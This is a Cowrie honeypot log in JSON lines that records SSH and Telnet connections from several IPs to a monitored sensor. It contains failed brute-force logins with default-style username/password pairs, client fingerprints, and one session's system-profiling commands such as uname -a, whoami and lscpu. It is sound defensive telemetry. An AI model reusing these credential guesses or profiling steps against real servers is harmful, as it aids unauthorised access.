{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.422493Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.502949Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.691751Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.695340Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.774047Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.959026Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.962824Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.042984Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.228426Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.231669Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.310859Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.520965Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.524398Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.610873Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.799334Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.802807Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.882674Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:13.888134Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54270,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8432150d7f0","protocol":"ssh","message":"New connection: 122.168.114.167:54270 (159.203.135.109:22) [session: c8432150d7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:16.450027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:18.322755Z","src_ip":"122.168.114.167","session":"c8432150d7f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:18.326949Z","src_ip":"122.168.114.167","session":"c8432150d7f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":38038,"dst_ip":"159.203.135.109","dst_port":23,"session":"97c735975344","protocol":"telnet","message":"New connection: 176.74.31.147:38038 (159.203.135.109:23) [session: 97c735975344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:27.870541Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:28.831620Z","src_ip":"122.168.114.167","session":"c8432150d7f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:32.511207Z","src_ip":"122.168.114.167","session":"c8432150d7f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50832,"dst_ip":"159.203.135.109","dst_port":22,"session":"31089a90f536","protocol":"ssh","message":"New connection: 159.203.92.129:50832 (159.203.135.109:22) [session: 31089a90f536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:34.468130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:34.472562Z","src_ip":"159.203.92.129","session":"31089a90f536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:34.478967Z","src_ip":"159.203.92.129","session":"31089a90f536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arma3server","password":"arma3server","message":"login attempt [arma3server/arma3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:34.488665Z","src_ip":"159.203.92.129","session":"31089a90f536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:35.500556Z","src_ip":"159.203.92.129","session":"31089a90f536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56682,"dst_ip":"159.203.135.109","dst_port":22,"session":"23d92d9ded5b","protocol":"ssh","message":"New connection: 122.168.114.167:56682 (159.203.135.109:22) [session: 23d92d9ded5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:55.890923Z"}
{"eventid":"cowrie.session.closed","duration":30.343692541122437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:58.214104Z","src_ip":"176.74.31.147","session":"97c735975344","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:58.410239Z","src_ip":"122.168.114.167","session":"23d92d9ded5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:58.414261Z","src_ip":"122.168.114.167","session":"23d92d9ded5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":43842,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e2838f2437a","protocol":"ssh","message":"New connection: 186.80.18.158:43842 (10.17.0.5:22) [session: 7e2838f2437a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:01.800395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:01.806034Z","src_ip":"186.80.18.158","session":"7e2838f2437a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:01.895909Z","src_ip":"186.80.18.158","session":"7e2838f2437a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass","message":"login attempt [ubuntu/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:02.251544Z","src_ip":"186.80.18.158","session":"7e2838f2437a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:03.333705Z","src_ip":"186.80.18.158","session":"7e2838f2437a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:11.982848Z","src_ip":"122.168.114.167","session":"23d92d9ded5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:16.250856Z","src_ip":"122.168.114.167","session":"23d92d9ded5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45924,"dst_ip":"159.203.135.109","dst_port":22,"session":"8024918b137e","protocol":"ssh","message":"New connection: 159.203.92.129:45924 (159.203.135.109:22) [session: 8024918b137e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:19.999584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:20.004002Z","src_ip":"159.203.92.129","session":"8024918b137e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:20.008511Z","src_ip":"159.203.92.129","session":"8024918b137e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aron","password":"aron","message":"login attempt [aron/aron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:20.018714Z","src_ip":"159.203.92.129","session":"8024918b137e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":58946,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4882315e824","protocol":"ssh","message":"New connection: 194.59.206.2:58946 (10.17.0.5:22) [session: c4882315e824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:20.061647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:20.067799Z","src_ip":"194.59.206.2","session":"c4882315e824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:20.149004Z","src_ip":"194.59.206.2","session":"c4882315e824","protocol":"ssh"}
